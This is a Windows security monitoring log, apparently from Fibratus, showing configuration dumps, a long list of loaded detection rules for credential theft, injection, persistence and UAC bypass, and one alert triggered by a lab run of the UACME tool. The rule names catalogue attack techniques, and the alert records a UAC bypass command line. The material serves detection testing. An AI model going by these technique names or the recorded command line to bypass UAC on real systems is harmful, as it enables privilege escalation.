SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T14:40:30+01:00 level=info msg=bootstrapping with pid 13076. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T14:40:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 use-template=>true enabled=>false content-type=>text/html to=>[]] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true min-buffers=>16 enable-fileio=>true enable-registry=>true enable-vamap=>true enable-threadpool=>false enable-handle=>false enable-mem=>false flush-interval=>1s buffer-size=>512 enable-image=>true stack-enrichment=>true max-buffers=>36 enable-audit-api=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 level=>info formatter=>text max-age=>0 max-backups=>15 log-stdout=>true] + output ......................... [ elasticsearch=>[ enabled=>false trace-log=>false gzip-compression=>false index-name=>fibratus sniff=>false flush-period=>1s bulk-workers=>1 template-name=>fibratus servers=>[http://127.0.0.1:9200] timeout=>5s healthcheck=>true healthcheck-interval=>10s healthcheck-timeout=>5s] http=>[ enabled=>false tls-insecure-skip-verify=>false serializer=>json timeout=>5s enable-gzip=>false method=>POST endpoints=>[]] amqp=>[ durable=>false exchange=>fibratus delivery-mode=>transient tls-insecure-skip-verify=>false enabled=>false routing-key=>fibratus url=>amqp://localhost:5672 exchange-type=>topic timeout=>5s vhost=>/ passive=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false excluded-procs=>[] skip-files=>false skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false skip-mmaps=>false excluded-files=>[] scan-timeout=>10s fastscan=>true] source=bootstrap/bootstrap.go:187 +time=2025-12-05T14:40:30+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:40:32+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:40:55+01:00 level=info msg=sending alert: [UAC bypass via NTFS junction DLL hijacking]. Text: Event(s): + Seq: 5953131 + Pid: 16376 + Tid: 8244 + Type: CreateFile + CPU: 3 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-05 14:40:46.4032177 +0100 CET + Params: attributes➜ , create_disposition➜ SUPERSEDE, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffff978f75415a20, file_path➜ C:\WINDOWS\system32\dccw.exe.local\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.26100.7019_none_6ef1f2863dc83276\GdiPlus.dll, irp➜ ffff978f736c40f8, share_mask➜ READ|WRITE|DELETE, status➜ The system cannot find the file specified, tid➜ 8244, type➜ File + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: UAC bypass via NTFS junction DLL hijacking, tactic.id: TA0004 + + Pid: 16376 + Ppid: 7776 + Name: wusa.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\WINDOWS\system32\wusa.exe" /quiet C:\Users\nedo\AppData\Local\Temp\update.msu + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 37 + Exe: C:\WINDOWS\system32\wusa.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\wusa.exe" /quiet C:\Users\nedo\AppData\Local\Temp\update.msu] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T14:41:19+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T14:41:19+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:41:20+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:45:40+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:45:40+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T14:45:40+01:00 level=info msg=bootstrapping with pid 5904. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T14:45:40+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ port=>25 to=>[] content-type=>text/html use-template=>true enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false] + eventsource .................... [ flush-interval=>1s enable-threadpool=>false enable-thread=>true enable-dns=>false enable-fileio=>true min-buffers=>16 buffer-size=>512 enable-mem=>false enable-image=>true enable-handle=>false stack-enrichment=>true max-buffers=>36 enable-registry=>true enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-backups=>15 level=>info max-age=>0 max-size=>100 log-stdout=>true] + output ......................... [ elasticsearch=>[ healthcheck-timeout=>5s gzip-compression=>false timeout=>5s index-name=>fibratus enabled=>false template-name=>fibratus flush-period=>1s bulk-workers=>1 trace-log=>false healthcheck-interval=>10s healthcheck=>true sniff=>false servers=>[http://127.0.0.1:9200]] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] http=>[ serializer=>json method=>POST timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] enable-gzip=>false enabled=>false] amqp=>[ timeout=>5s delivery-mode=>transient passive=>false url=>amqp://localhost:5672 exchange-type=>topic routing-key=>fibratus tls-insecure-skip-verify=>false vhost=>/ enabled=>false exchange=>fibratus durable=>false]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-mmaps=>false skip-files=>false enabled=>false scan-timeout=>10s excluded-files=>[] fastscan=>true skip-allocs=>false skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:187 +time=2025-12-05T14:45:40+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:45:43+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:48:45+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T14:48:45+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:48:45+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:49:03+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-05T14:49:03+01:00 level=info msg=bootstrapping with pid 3612. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T14:49:03+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ to=>[] content-type=>text/html enabled=>false port=>25 use-template=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-image=>true enable-handle=>false stack-enrichment=>true max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-mem=>false flush-interval=>1s enable-registry=>true enable-dns=>false enable-threadpool=>false min-buffers=>16 buffer-size=>512 enable-audit-api=>true enable-fileio=>true enable-thread=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 level=>info max-backups=>15 max-size=>100 log-stdout=>true formatter=>text] + output ......................... [ http=>[ method=>POST endpoints=>[] enabled=>false serializer=>json timeout=>5s enable-gzip=>false tls-insecure-skip-verify=>false] amqp=>[ vhost=>/ tls-insecure-skip-verify=>false delivery-mode=>transient timeout=>5s enabled=>false passive=>false url=>amqp://localhost:5672 durable=>false exchange=>fibratus exchange-type=>topic routing-key=>fibratus] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] elasticsearch=>[ index-name=>fibratus healthcheck-interval=>10s gzip-compression=>false flush-period=>1s sniff=>false healthcheck-timeout=>5s enabled=>false trace-log=>false healthcheck=>true template-name=>fibratus bulk-workers=>1 servers=>[http://127.0.0.1:9200] timeout=>5s]] + pe ............................. [ enabled=>false read-sections=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-registry=>false rule=>[ 